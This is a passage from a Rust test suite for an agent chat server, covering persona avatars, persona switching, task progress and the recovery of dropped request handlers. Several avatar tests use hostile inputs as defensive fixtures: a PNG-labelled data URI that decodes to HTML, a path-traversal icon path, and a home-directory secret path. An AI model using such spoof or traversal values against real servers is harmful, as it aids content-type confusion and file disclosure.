15157             [[talk.personas]]\nid = \"magi\"\nicon = \"data:image/png;base64,PGh0bWw+\"\n",
15158            uri(&good),
15159            uri(&spoof),
15160            uri(&big),
15161            uri(&missing),
15162        );
15163        let (_t, _h, ui, id, _repo) = avatar_fixture(&extra).await;
15164
15165        let (status, ct, nosniff, _, body) = avatar(&ui, &id, Some("rei"), false).await;
15166        assert_eq!(
15167            (status, ct.as_str(), nosniff),
15168            (StatusCode::OK, "image/png", true)
15169        );
15170        assert_eq!(body, tiny_png());
15171        let (_, ct, _, _, _) = avatar(&ui, &id, Some("kaworu"), false).await;
15172        assert_eq!(ct, "image/png", "data URI");
15173
15174        for p in ["misato", "asuka", "shinji", "magi"] {
15175            let (status, ct, _, csp, body) = avatar(&ui, &id, Some(p), false).await;
15176            assert_eq!(
15177                (status, ct.as_str(), csp),
15178                (StatusCode::OK, "image/svg+xml", true),
15179                "{p}"
15180            );
15181            assert!(body.starts_with(b"<svg"), "{p}");
15182        }
15183        // The page's own retry skips the icon.
15184        let (_, ct, _, _, _) = avatar(&ui, &id, Some("rei"), true).await;
15185        assert_eq!(ct, "image/svg+xml");
15186    }
15187
15188    #[tokio::test]
15189    async fn invalid_icons_keep_the_catalog_and_persona_switch_usable() {
15190        let oversized = format!(
15191            "data:image/png;base64,{}",
15192            "A".repeat(persona_icon::ICON_MAX_BYTES)
15193        );
15194        for bad in ["", "/images/avatar.svg", "/a/../b.png", &oversized] {
15195            let extra = format!(
15196                "[[talk.personas]]\nid = \"custom\"\nname = \"Custom\"\nprompt = \"Keep calm\"\nicon = \"{bad}\"\n"
15197            );
15198            let (_t, _h, ui, id, _repo) = avatar_fixture(&extra).await;
15199            let Json(detail) = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
15200                .await
15201                .expect("detail with invalid icon");
15202            assert!(detail.personas.iter().any(|p| p.id == "custom"));
15203            let (status, ct, _, _, body) = avatar(&ui, &id, Some("custom"), false).await;
15204            assert_eq!(status, StatusCode::OK);
15205            assert_eq!(ct, "image/svg+xml");
15206            assert_eq!(body, persona_icon::builtin_svg("custom").as_bytes());
15207            let Json(view) = talk_persona(
15208                State(Arc::clone(&ui)),
15209                Path(id.clone()),
15210                Json(TalkPersona {
15211                    persona: "custom".into(),
15212                }),
15213            )
15214            .await
15215            .expect("persona switch with invalid icon");
15216            assert_eq!(view.talk.persona, "custom");
15217            assert_eq!(ui.talks.get(&id).unwrap().persona, "custom");
15218        }
15219    }
15220
15221    #[tokio::test]
15222    async fn an_unreadable_config_still_gets_the_builtin_avatar() {
15223        let (_t, _h, ui, id, repo) = avatar_fixture("").await;
15224        std::fs::write(repo.join("magi.toml"), "this is not valid TOML").unwrap();
15225        let (status, ct, nosniff, csp, _) = avatar(&ui, &id, Some("rei"), false).await;
15226        assert_eq!(
15227            (status, ct.as_str(), nosniff, csp),
15228            (StatusCode::OK, "image/svg+xml", true, true)
15229        );
15230    }
15231
15232    #[tokio::test]
15233    async fn the_talk_view_carries_server_built_avatar_urls_only() {
15234        let (_t, _h, ui, id, _repo) =
15235            avatar_fixture("[[talk.personas]]\nid = \"rei\"\nicon = \"~/secret/rei.png\"\n").await;
15236        let Json(detail) = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
15237            .await
15238            .expect("detail");
15239        let json = serde_json::to_string(&detail).unwrap();
15240        assert!(
15241            !json.contains("secret"),
15242            "the icon setting must not leak: {json}"
15243        );
15244        assert!(
15245            detail
15246                .view
15247                .persona_avatar
15248                .starts_with(&format!("/api/talks/{id}/avatar?persona=default&v="))
15249        );
15250        assert_eq!(
15251            detail.view.operator_avatar,
15252            format!(
15253                "/avatars/operator.svg?v={}",
15254                persona_icon::fingerprint(Some(persona_icon::operator_svg()))
15255            )
15256        );
15257        assert!(!detail.personas.iter().any(|p| p.id == "operator"));
15258        let rei = detail.personas.iter().find(|p| p.id == "rei").unwrap();
15259        let plain = detail.personas.iter().find(|p| p.id == "asuka").unwrap();
15260        assert!(rei.avatar.contains("persona=rei&v="));
15261        assert_ne!(
15262            rei.avatar.split("&v=").nth(1),
15263            plain.avatar.split("&v=").nth(1)
15264        );
15265    }
15266
15267    #[tokio::test]
15268    async fn empty_settings_turn_releases_inline_only_for_unchanged_generation() {
15269        let (_t, _h, ui, id, repo) = avatar_fixture("").await;
15270        let cfg = config_for(&repo).await.unwrap();
15271        for arrived in [false, true] {
15272            let turn = ui.begin_talk_turn(&id).unwrap().unwrap();
15273            let observed = ui.queued_generation(&id);
15274            let talk = ui.talks.get(&id).unwrap();
15275            if arrived {
15276                assert!(ui.begin_queued_talk_turn(&id).unwrap().is_none());
15277            }
15278            let mut settling = std::pin::pin!(settle_settings_turn(
15279                talk,
15280                ui.talks.clone(),
15281                cfg.clone(),
15282                id.clone(),
15283                turn,
15284                observed
15285            ));
15286            let mut cx = std::task::Context::from_waker(std::task::Waker::noop());
15287            let first = std::future::Future::poll(settling.as_mut(), &mut cx);
15288            assert_eq!(first.is_pending(), arrived);
15289            if arrived {
15290                assert!(!settling.await);
15291            }
15292            assert!(!ui.is_thinking(&id));
15293        }
15294    }
15295
15296    #[tokio::test]
15297    async fn talk_persona_round_trips_and_refuses_unknown_busy_or_closed() {
15298        let tmp = TempDir::new().expect("tempdir");
15299        let repo = tmp.path().join("repo");
15300        std::fs::create_dir_all(&repo).expect("repo dir");
15301        std::fs::write(
15302            repo.join("magi.toml"),
15303            format!(
15304                "{MOCK_AGENT_TOML}\n[[talk.personas]]\nid = \"gendo\"\nname = \"Gendo\"\nprompt = \"Be cold.\"\n"
15305            ),
15306        )
15307        .expect("write magi.toml");
15308        let home = TempDir::new().expect("temp home");
15309        let talks = Talks::at(home.path().join("talks"));
15310        let ui = Arc::new(
15311            Ui::new(
15312                Queue::at(home.path().join("queue")),
15313                Questions::at(home.path().join("questions")),
15314                talks.clone(),
15315                home.path().join("runs"),
15316                home.path().to_path_buf(),
15317                repo.clone(),
15318            )
15319            .with_worktrees_root(home.path().join("wt")),
15320        );
15321        let cfg = config_for(&repo).await.expect("discover config");
15322        let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
15323        let id = talk.id.clone();
15324        let call = |persona: &str| {
15325            talk_persona(
15326                State(Arc::clone(&ui)),
15327                Path(id.clone()),
15328                Json(TalkPersona {
15329                    persona: persona.to_owned(),
15330                }),
15331            )
15332        };
15333
15334        let unknown = call("nobody").await.expect_err("unknown persona");
15335        assert_eq!(
15336            unknown.status,
15337            StatusCode::BAD_REQUEST,
15338            "{}",
15339            unknown.message
15340        );
15341
15342        {
15343            // Nothing refused so far took a claim, so the guard is free to take
15344            // and holding it is what makes the talk busy.
15345            let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
15346            let busy = call("rei").await.expect_err("busy talk");
15347            assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
15348            assert!(
15349                busy.message.contains("a talk turn is running"),
15350                "{}",
15351                busy.message
15352            );
15353            drop(guard);
15354        }
15355        assert_eq!(talks.get(&id).expect("reload").persona, "");
15356
15357        let Json(view) = call("gendo").await.expect("switch to a configured persona");
15358        assert_eq!(view.talk.persona, "gendo");
15359        assert_eq!(talks.get(&id).expect("reload").persona, "gendo");
15360        assert!(!ui.is_thinking(&id), "idle response must release the claim");
15361        // No intervening I/O or sleep may be needed before another change.
15362        for chosen in ["default", "gendo", "rei", "gendo"] {
15363            let Json(view) = call(chosen).await.expect("immediate consecutive change");
15364            assert!(!view.thinking);
15365            assert!(!ui.is_thinking(&id));
15366        }
15367
15368        let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
15369            .await
15370            .expect("detail");
15371        let ids: Vec<&str> = detail.0.personas.iter().map(|p| p.id.as_str()).collect();
15372        assert_eq!(ids.first(), Some(&"default"));
15373        assert!(ids.contains(&"rei") && ids.contains(&"gendo"));
15374
15375        let Json(view) = call("default").await.expect("back to default");
15376        assert_eq!(view.talk.persona, "");
15377
15378        let mut closed = talks.get(&id).expect("reload");
15379        talk::close(&mut closed, &talks).expect("close");
15380        let refused = call("rei").await.expect_err("closed talk");
15381        assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
15382        assert!(
15383            refused.message.contains("takes no more turns"),
15384            "{}",
15385            refused.message
15386        );
15387    }
15388
15389    #[tokio::test]
15390    async fn talk_detail_lists_the_tasks_it_has_filed_and_stays_open() {
15391        let f = Fixture::start().await;
15392        let talk_id = seed_talk(&f, "20260904-014455-ab12", "open");
15393        let queue = f.queue();
15394        let mut mine = Task::new(
15395            "rename the loader".to_owned(),
15396            "rename the loader".to_owned(),
15397            PathBuf::from("/repo/magi"),
15398            Source::Agent {
15399                run: talk_id.clone(),
15400                node: "chat".to_owned(),
15401            },
15402        );
15403        let empty = f.get(&format!("/api/talks/{talk_id}")).await.json();
15404        assert_eq!(empty["task_progress"]["state"], "none");
15405        assert_eq!(empty["task_progress"]["total"], 0);
15406        queue.put(&mut mine).expect("file the task");
15407        let mut theirs = Task::new(
15408            "unrelated".to_owned(),
15409            "unrelated".to_owned(),
15410            PathBuf::from("/repo/magi"),
15411            Source::Human,
15412        );
15413        // A later task linked through origin_chat alone is outside this list.
15414        theirs.origin_chat = Some(talk_id.clone());
15415        queue.put(&mut theirs).expect("file the task");
15416
15417        let res = f.get(&format!("/api/talks/{talk_id}")).await;
15418        assert_eq!(res.status, 200, "{}", res.body);
15419        let body = res.json();
15420        assert_eq!(
15421            body["status"], "open",
15422            "filing a task does not close a talk"
15423        );
15424        let tasks = body["tasks"].as_array().expect("tasks array");
15425        assert_eq!(tasks.len(), 1, "only this talk's own task is listed");
15426        assert_eq!(tasks[0]["id"], mine.id);
15427        for status in [
15428            TaskStatus::Queued,
15429            TaskStatus::Running,
15430            TaskStatus::Held,
15431            TaskStatus::Failed,
15432            TaskStatus::Blocked,
15433            TaskStatus::Parked,
15434            TaskStatus::Done,
15435            TaskStatus::Queued,
15436        ] {
15437            mine.status = status;
15438            queue.put(&mut mine).expect("update status");
15439            let detail = f.get(&format!("/api/talks/{talk_id}")).await.json();
15440            let progress = &detail["task_progress"];
15441            assert_eq!(progress["total"], 1);
15442            assert_eq!(progress["counts"][status.as_str()], 1);
15443            assert_eq!(detail["tasks"][0]["status"], status.as_str());
15444            assert_eq!(detail["status"], "open", "completion never closes the chat");
15445            if status == TaskStatus::Done {
15446                assert_eq!(progress["state"], "complete");
15447                assert_eq!(progress["done"], 1);
15448                assert_eq!(progress["unfinished_ids"], serde_json::json!([]));
15449            } else {
15450                assert_eq!(progress["state"], "incomplete");
15451                assert_eq!(progress["done"], 0);
15452                assert_eq!(progress["unfinished_ids"], serde_json::json!([mine.id]));
15453            }
15454        }
15455    }
15456
15457    #[test]
15458    fn talk_task_progress_counts_mixed_statuses() {
15459        let mut tasks: Vec<_> = [
15460            TaskStatus::Queued,
15461            TaskStatus::Running,
15462            TaskStatus::Held,
15463            TaskStatus::Failed,
15464            TaskStatus::Blocked,
15465            TaskStatus::Parked,
15466            TaskStatus::Done,
15467        ]
15468        .into_iter()
15469        .map(|status| {
15470            let mut task = Task::new(
15471                "task".into(),
15472                "task".into(),
15473                PathBuf::from("/repo"),
15474                Source::Human,
15475            );
15476            task.status = status;
15477            task
15478        })
15479        .collect();
15480        let progress = talk_task_progress(&tasks);
15481        assert_eq!(progress.state, "incomplete");
15482        assert_eq!(progress.total, 7);
15483        assert_eq!(progress.done, 1);
15484        assert_eq!(progress.unfinished_ids.len(), 6);
15485        assert!(progress.counts.values().all(|count| *count == 1));
15486        assert_eq!(
15487            progress.unfinished_ids,
15488            tasks[..6]
15489                .iter()
15490                .map(|task| task.id.clone())
15491                .collect::<Vec<_>>()
15492        );
15493
15494        for task in &mut tasks {
15495            task.status = TaskStatus::Done;
15496        }
15497        let complete = talk_task_progress(&tasks);
15498        assert_eq!(complete.state, "complete");
15499        assert_eq!(complete.done, 7);
15500        assert!(complete.unfinished_ids.is_empty());
15501        tasks[0].status = TaskStatus::Queued;
15502        let requeued = talk_task_progress(&tasks);
15503        assert_eq!(requeued.state, "incomplete");
15504        assert_eq!(requeued.done, 6);
15505        assert_eq!(requeued.unfinished_ids, vec![tasks[0].id.clone()]);
15506
15507        let empty = talk_task_progress(&[]);
15508        assert_eq!(empty.state, "none");
15509        assert_eq!(empty.total, 0);
15510        assert_eq!(empty.done, 0);
15511        assert!(empty.unfinished_ids.is_empty());
15512        assert!(empty.counts.values().all(|count| *count == 0));
15513    }
15514
15515    #[tokio::test]
15516    async fn talk_say_records_the_operators_turn_before_the_agents_reply_lands() {
15517        let (_tmp, _repo, f) = talk_fixture().await;
15518        let id = f.post("/api/talks", None).await.json()["id"]
15519            .as_str()
15520            .expect("id")
15521            .to_owned();
15522
15523        let res = f
15524            .post(
15525                &format!("/api/talks/{id}/say"),
15526                Some(r#"{"text":"what does the queue module do?"}"#),
15527            )
15528            .await;
15529        assert_eq!(res.status, 202, "{}", res.body);
15530        let queued = res.json();
15531        let turns = queued["turns"].as_array().expect("turns array");
15532        assert_eq!(
15533            turns.len(),
15534            1,
15535            "the answer reflects only what is on disk the instant it is sent, \
15536             before the agent's turn - which can run for the whole of \
15537             `[graph] timeout_talk` - has a chance to land: {queued}"
15538        );
15539        assert_eq!(turns[0]["who"], "operator");
15540        assert_eq!(turns[0]["body"], "what does the queue module do?");
15541        assert_eq!(
15542            queued["thinking"], true,
15543            "the accepted response exposes the background turn claim: {queued}"
15544        );
15545
15546        let mut turns_after = 1;
15547        for _ in 0..SETTLE_STEPS {
15548            let detail = f.get(&format!("/api/talks/{id}")).await.json();
15549            turns_after = detail["turns"].as_array().expect("turns array").len();
15550            if turns_after == 2 {
15551                break;
15552            }
15553            tokio::time::sleep(Duration::from_millis(10)).await;
15554        }
15555        assert_eq!(turns_after, 2, "the agent's reply eventually lands");
15556    }
15557
15558    /// A phone that reloads mid-request drops `talk_say`'s whole handler
15559    /// future without warning - see `TalkTurnGuard`'s doc. The bug this
15560    /// guards against: `talk::record` used to return, and only *then* did the
15561    /// handler make a second, separate disk round trip before spawning the
15562    /// agent's reply task. A future dropped in that gap left a message
15563    /// recorded on disk with no reply task ever started and no way back short
15564    /// of a fresh message - and the gap was not even the whole story: *any*
15565    /// `.await` in this handler, including the very first one, is a point
15566    /// where a drop can land after the awaited work already finished but
15567    /// before this handler's own code resumes to act on it. `record` now
15568    /// runs inside the task `tokio::spawn` hands to the runtime before this
15569    /// handler ever awaits anything of its own again, so there is nothing
15570    /// left in *this* handler's future for a disconnect to interrupt between
15571    /// the message landing on disk and the reply task starting.
15572    ///
15573    /// A real socket disconnect cannot be relied on to land in the old gap
15574    /// from a test - over loopback, `talk_say` typically finishes before the
15575    /// kernel even reports the peer gone. `JoinHandle::abort` reproduces the
15576    /// same failure mode directly: it drops the task's future at whatever
15577    /// point it has reached, exactly what axum does to the handler future,
15578    /// without needing to win a real network race. Sweeping the delay before
15579    /// aborting samples a range of points the task's execution can be at,
15580    /// including where the old code sat waiting on its second disk round
15581    /// trip - confirmed by reverting this fix locally and watching this same
15582    /// sweep catch a talk stuck with the operator's turn recorded and no
15583    /// reply ever following.
15584    #[tokio::test]
15585    async fn a_dropped_handler_future_after_recording_still_gets_an_agent_reply() {
15586        let tmp = TempDir::new().expect("tempdir");
15587        let repo = tmp.path().join("repo");
15588        std::fs::create_dir_all(&repo).expect("repo dir");
15589        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
15590        let home = TempDir::new().expect("temp home");
15591        let talks = Talks::at(home.path().join("talks"));
15592        let ui = Arc::new(
15593            Ui::new(
15594                Queue::at(home.path().join("queue")),
15595                Questions::at(home.path().join("questions")),
15596                talks.clone(),
15597                home.path().join("runs"),
15598                home.path().to_path_buf(),
15599                repo.clone(),
15600            )
15601            .with_worktrees_root(home.path().join("wt")),
15602        );
15603        let cfg = config_for(&repo).await.expect("discover config");
15604
15605        for delay in 0..40u32 {
15606            let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
15607            let id = talk.id.clone();
15608
15609            let handler = tokio::spawn(talk_say(
15610                State(Arc::clone(&ui)),
15611                Path(id.clone()),
15612                Ok(Json(NewTalkTurn {
15613                    reply_to: None,
15614                    text: "what does the queue module do?".to_owned(),
15615                    attachments: Vec::new(),
15616                })),
15617            ));
15618            tokio::time::sleep(Duration::from_micros(u64::from(delay) * 500)).await;
15619            handler.abort();
15620            // Wait out the abort so the next iteration's talk does not race
15621            // this one's still-unwinding turn guard.
15622            let _ = handler.await;
15623
15624            let mut turns = 0;
15625            for _ in 0..SETTLE_STEPS {
15626                if let Ok(fresh) = talks.get(&id) {
15627                    turns = fresh.turns.len();
15628                    if turns != 1 {
15629                        break;
15630                    }
15631                }
15632                tokio::time::sleep(Duration::from_millis(10)).await;
15633            }
15634            assert_ne!(
15635                turns, 1,
15636                "delay {delay}: talk {id} recorded the operator's turn but \
15637                 the agent never answered - the reply task was never \
15638                 started after the handler future was dropped"
15639            );
15640        }
15641    }
15642
15643    /// The same drop, landing on `talk_say`'s other durable write.
15644    ///
15645    /// When a turn is already running, the busy branch persists the
15646    /// operator's text as a queued draft and then reclaims the turn slot if
15647    /// the holder gave it up in the meantime - and whoever reclaims owes that
15648    /// draft a `drain_loop`. `blocking` runs its closure on `spawn_blocking`,
15649    /// which finishes whether or not the future awaiting it is still there,
15650    /// so a handler dropped at that `.await` used to leave the draft written
15651    /// to disk with the reclaimed guard dropped unread and no drainer ever
15652    /// started: the message sat queued until some unrelated later `say`
15653    /// happened to pick it up.
15654    ///
15655    /// This used to drive the handler future by hand, polling it a fixed
15656    /// number of times to park it at the `.await` where it asks for the turn
15657    /// and finds it busy, before the reclaim's slot-free case could be set up
15658    /// underneath it. That assumed a fixed number of polls lands at a fixed
15659    /// `.await` - which is not true: `blocking` awaits a `spawn_blocking`
15660    /// `JoinHandle`, and a `JoinHandle` already finished resolves in a single
15661    /// poll, so any number of this handler's several `blocking` awaits can
15662    /// collapse into one poll under load, landing the drive somewhere other
15663    /// than intended - including, occasionally, straight past the handler's
15664    /// own completion, which made polling it again panic with "async fn
15665    /// resumed after completion". No poll count fixes that; the handler's
15666    /// progress simply is not something a caller outside it can observe by
15667    /// counting.
15668    ///
15669    /// [`BusyQueueGate`] replaces the poll count with a real stop point
15670    /// inside the write itself, so the interleaving under test is pinned by
15671    /// an event instead of a guess: the gate fires only once the handler has
15672    /// actually decided `Busy` and is about to persist the draft, and it
15673    /// blocks that write until the test lets it through. Between those two
15674    /// moments the test drains the turn the handler found busy - through
15675    /// `drain_loop`, the protocol's other half - and then aborts the handler
15676    /// task outright, the same way axum drops a disconnected request's
15677    /// future. The write, and the reclaim it may do, run to completion
15678    /// regardless: they live in the `tokio::spawn` task the busy branch hands
15679    /// to the runtime before ever touching the gate, wholly independent of
15680    /// whether the handler that started it is still around - which is what
15681    /// this test is actually checking. A drainer other than that reclaim
15682    /// cannot exist here: the test's own `drain_loop` call happens before the
15683    /// gate opens, so it runs while the queue is still empty and hands the
15684    /// turn straight back rather than draining anything, closing off the
15685    /// possibility of the final assertion passing without the reclaim ever
15686    /// having done its job.
15687    #[tokio::test]
15688    async fn a_dropped_handler_future_after_queueing_still_drains_the_draft() {
15689        let tmp = TempDir::new().expect("tempdir");
15690        let repo = tmp.path().join("repo");
15691        std::fs::create_dir_all(&repo).expect("repo dir");
15692        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
15693        let home = TempDir::new().expect("temp home");
15694        let talks = Talks::at(home.path().join("talks"));
15695        let ui = Arc::new(
15696            Ui::new(
15697                Queue::at(home.path().join("queue")),
15698                Questions::at(home.path().join("questions")),
15699                talks.clone(),
15700                home.path().join("runs"),
15701                home.path().to_path_buf(),
15702                repo.clone(),
15703            )
15704            .with_worktrees_root(home.path().join("wt")),
15705        );
15706        let cfg = config_for(&repo).await.expect("discover config");
15707
15708        for attempt in 0..3u32 {
15709            let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
15710            let id = talk.id.clone();
15711            // A turn is already running, which is what sends `talk_say` down
15712            // the busy branch.
15713            let turn_guard = ui
15714                .begin_talk_turn(&id)
15715                .expect("claim the turn")
15716                .expect("a fresh talk owes nobody a turn");
15717
15718            let (reached_tx, reached_rx) = tokio::sync::oneshot::channel();
15719            let (release_tx, release_rx) = std::sync::mpsc::channel();
15720            ui.set_busy_queue_gate(BusyQueueGate {
15721                reached: reached_tx,
15722                release: release_rx,
15723            });
15724
15725            let handler = tokio::spawn(talk_say(
15726                State(Arc::clone(&ui)),
15727                Path(id.clone()),
15728                Ok(Json(NewTalkTurn {
15729                    reply_to: None,
15730                    text: "what does the queue module do?".to_owned(),
15731                    attachments: Vec::new(),
15732                })),
15733            ));
15734
15735            // Wait for the busy branch to actually reach the gate, rather
15736            // than for any fixed number of polls of anything - a bounded
15737            // wait rather than a bare `.await` so a regression that never
15738            // reaches the gate fails the test instead of hanging it.
15739            tokio::time::timeout(Duration::from_secs(5), reached_rx)
15740                .await
15741                .unwrap_or_else(|_| {
15742                    panic!(
15743                        "attempt {attempt}: talk {id} never reached the busy branch's queue write"
15744                    )
15745                })
15746                .expect("the busy branch dropped the gate without using it");
15747            assert!(
15748                crate::consult::try_publication_guard(&talks, &id)
15749                    .expect("publication fence")
15750                    .is_none(),
15751                "a queued worker cannot promote text before its successor reservation is published"
15752            );
15753
15754            // A listener replacement queues its writer behind this accepted
15755            // mutation. Even disconnecting the HTTP caller must not release
15756            // admission before the write-to-worker handoff has completed.
15757            let closing = Arc::clone(&ui.admissions).write_owned();
15758            tokio::pin!(closing);
15759            std::future::poll_fn(|cx| {
15760                assert!(closing.as_mut().poll(cx).is_pending());
15761                std::task::Poll::Ready(())
15762            })
15763            .await;
15764            assert!(
15765                ui.begin_admission().is_err(),
15766                "replacement blocks later admissions"
15767            );
15768
15769            // The turn that was running now finishes and gives the slot up
15770            // the way a real one does - through `drain_loop`, which finds
15771            // nothing queued yet (the write is still held at the gate) and
15772            // releases. The handler, parked inside `spawn_blocking` on the
15773            // other side of the gate, still believes the talk is busy -
15774            // exactly the interleaving the reclaim exists for.
15775            let running = talks.get(&id).expect("reload talk");
15776            drain_loop(running, talks.clone(), cfg.clone(), id.clone(), turn_guard).await;
15777
15778            // Drop the handler future now, the way a reloading phone drops
15779            // it: suspended waiting on the busy branch's answer, having
15780            // itself made no more progress since it handed the write off.
15781            handler.abort();
15782            let _ = handler.await;
15783            std::future::poll_fn(|cx| {
15784                assert!(
15785                    closing.as_mut().poll(cx).is_pending(),
15786                    "HTTP cancellation must not abandon a publishing transaction"
15787                );
15788                std::task::Poll::Ready(())
15789            })
15790            .await;
15791            assert!(
15792                crate::consult::try_publication_guard(&talks, &id)
15793                    .expect("publication fence after disconnect")
15794                    .is_none()
15795            );
15796
15797            // Only now let the gated write proceed. It persists the draft
15798            // and reclaims the now-free slot from inside the task the busy
15799            // branch already spawned - unaffected by the handler's abort
15800            // above, since that task was independent of the handler's own
15801            // future from the moment it was spawned.
15802            let _ = release_tx.send(());
15803            drop(
15804                tokio::time::timeout(Duration::from_secs(5), closing)
15805                    .await
15806                    .expect("short admission transaction should release for replacement"),
15807            );
15808            assert!(
15809                crate::consult::try_publication_guard(&talks, &id)
15810                    .expect("publication fence after acknowledgement")
15811                    .is_some(),
15812                "the publication fence is not retained by the long response"
15813            );
15814
15815            // A settled talk: the draft drained into an operator turn and
15816            // answered.
15817            let mut fresh = talks.get(&id).expect("reload talk");
15818            for _ in 0..SETTLE_STEPS {
15819                if fresh.pending.is_empty() && fresh.turns.len() == 2 {
15820                    break;
15821                }
15822                tokio::time::sleep(Duration::from_millis(10)).await;
15823                fresh = talks.get(&id).expect("reload talk");
15824            }
15825            assert!(
15826                fresh.pending.is_empty() && fresh.turns.len() == 2,
15827                "attempt {attempt}: talk {id} left the operator's text queued \
15828                 with no drainer - the reclaimed turn was dropped along with \
15829                 the handler future (pending {:?}, {} turns)",
15830                fresh.pending,
15831                fresh.turns.len()
15832            );
15833        }
15834    }
15835
15836    #[tokio::test]
15837    async fn editing_a_recovered_pending_draft_restarts_its_drain_once() {
15838        let (_tmp, _repo, f) = talk_fixture().await;
15839        let id = f.post("/api/talks", None).await.json()["id"]
15840            .as_str()
15841            .expect("id")
15842            .to_owned();
15843        let store = f.talks();
15844        let mut recovered = store.get(&id).expect("opened talk");
15845        talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
15846            .expect("persist pending draft without a live turn");
15847
15848        let edited = f
15849            .post(
15850                &format!("/api/talks/{id}/pending/edit"),
15851                Some(r#"{"text":"corrected","expected_text":"saved before restart","expected_attachments":[]}"#),
15852            )
15853            .await;
15854        assert_eq!(edited.status, 200, "{}", edited.body);
15855        assert!(edited.json()["thinking"].as_bool().unwrap());
15856
15857        let mut detail = f.get(&format!("/api/talks/{id}")).await.json();
15858        for _ in 0..SETTLE_STEPS {
15859            if detail["turns"].as_array().expect("turns").len() == 2 {
15860                break;
15861            }
15862            tokio::time::sleep(Duration::from_millis(10)).await;
15863            detail = f.get(&format!("/api/talks/{id}")).await.json();
15864        }
15865        let turns = detail["turns"].as_array().expect("turns");
15866        assert_eq!(
15867            turns.len(),
15868            2,
15869            "the recovered draft must run once: {detail}"
15870        );
15871        assert_eq!(turns[0]["body"], "corrected");
15872        assert_eq!(detail["pending"], "");
15873    }
15874
15875    #[tokio::test]
15876    async fn recovered_pending_requires_explicit_resume_and_duplicate_resume_runs_once() {
15877        let tmp = TempDir::new().expect("tempdir");
15878        let repo = tmp.path().join("repo");
15879        std::fs::create_dir_all(&repo).expect("repo dir");
15880        std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
15881        let f = Fixture::with_repo(repo).await;
15882        let id = f.post("/api/talks", None).await.json()["id"]
15883            .as_str()
15884            .expect("id")
15885            .to_owned();
15886        let store = f.talks();
15887        let mut recovered = store.get(&id).expect("opened talk");
15888        talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
15889            .expect("persist pending draft without a live turn");
15890
15891        let refused = f
15892            .post(
15893                &format!("/api/talks/{id}/say"),
15894                Some(r#"{"text":"new message"}"#),
15895            )
15896            .await;
15897        assert_eq!(refused.status, 409, "{}", refused.body);
15898        assert!(refused.body.contains("resume"), "{}", refused.body);
15899        let saved = store.get(&id).expect("draft remains after refusal");
15900        assert!(saved.turns.is_empty());
15901        assert_eq!(saved.pending, "saved before restart");
15902
15903        let say_path = format!("/api/talks/{id}/say");
15904        let (first, second) = tokio::join!(
15905            f.post(&say_path, Some(r#"{"text":"concurrent one"}"#)),
15906            f.post(&say_path, Some(r#"{"text":"concurrent two"}"#)),
15907        );
15908        assert_eq!(first.status, 409, "{}", first.body);
15909        assert_eq!(second.status, 409, "{}", second.body);
15910        let saved = store
15911            .get(&id)
15912            .expect("draft remains after concurrent refusals");
15913        assert!(saved.turns.is_empty());
15914        assert_eq!(saved.pending, "saved before restart");
15915
15916        let resumed = f
15917            .post(&format!("/api/talks/{id}/pending/resume"), None)
15918            .await;
15919        assert_eq!(resumed.status, 202, "{}", resumed.body);
15920        let duplicate = f
15921            .post(&format!("/api/talks/{id}/pending/resume"), None)
15922            .await;
15923        assert_eq!(duplicate.status, 409, "{}", duplicate.body);
15924
15925        for _ in 0..SETTLE_STEPS {
15926            if store.get(&id).expect("talk").turns.len() == 2 {
15927                break;
15928            }
15929            tokio::time::sleep(Duration::from_millis(10)).await;
15930        }
15931        let finished = store.get(&id).expect("finished talk");
15932        assert_eq!(finished.turns.len(), 2, "{finished:?}");
15933        assert_eq!(finished.turns[0].body, "saved before restart");
15934        assert!(finished.pending.is_empty());
15935    }
15936
15937    #[tokio::test]
15938    async fn an_image_only_recovered_draft_resumes_without_text() {
15939        let (_tmp, _repo, f) = talk_fixture().await;
15940        let id = f.post("/api/talks", None).await.json()["id"]
15941            .as_str()
15942            .expect("id")
15943            .to_owned();
15944        let uploaded = f
15945            .post_bytes(
15946                &format!("/api/talks/{id}/attachments"),
15947                &[("Content-Type", "image/png"), ("X-Filename", "saved.png")],
15948                PNG_BYTES,
15949            )
15950            .await;
15951        assert_eq!(uploaded.status, 201, "{}", uploaded.body);
15952        let attachment = f
15953            .talks()
15954            .attachment_meta(&id, uploaded.json()["id"].as_str().expect("attachment id"))
15955            .expect("attachment metadata")
15956            .expect("stored attachment");
15957        let store = f.talks();
15958        let mut recovered = store.get(&id).expect("opened talk");
15959        talk::queue(&mut recovered, &store, "", vec![attachment]).expect("queue image only");
15960
15961        let resumed = f
15962            .post(&format!("/api/talks/{id}/pending/resume"), None)
15963            .await;
15964        assert_eq!(resumed.status, 202, "{}", resumed.body);
15965        for _ in 0..SETTLE_STEPS {
15966            if store.get(&id).expect("talk").turns.len() == 2 {
15967                break;
15968            }
15969            tokio::time::sleep(Duration::from_millis(10)).await;
15970        }
15971        let finished = store.get(&id).expect("finished talk");
15972        assert_eq!(finished.turns.len(), 2, "{finished:?}");
15973        assert!(finished.turns[0].body.is_empty());
15974        assert_eq!(finished.turns[0].attachments.len(), 1);
15975        assert!(finished.pending_attachments.is_empty());
15976    }
15977
15978    #[tokio::test]
15979    async fn closed_talk_refuses_pending_mutations_without_changing_the_record() {
15980        let (_tmp, _repo, f) = talk_fixture().await;
15981        let id = f.post("/api/talks", None).await.json()["id"]
15982            .as_str()
15983            .expect("id")
15984            .to_owned();
15985        let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
15986        assert_eq!(closed.status, 200, "{}", closed.body);
15987        let before_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
15988            .expect("serialize closed talk");
15989        for (path, body) in [
15990            (format!("/api/talks/{id}/pending/resume"), None),
15991            (
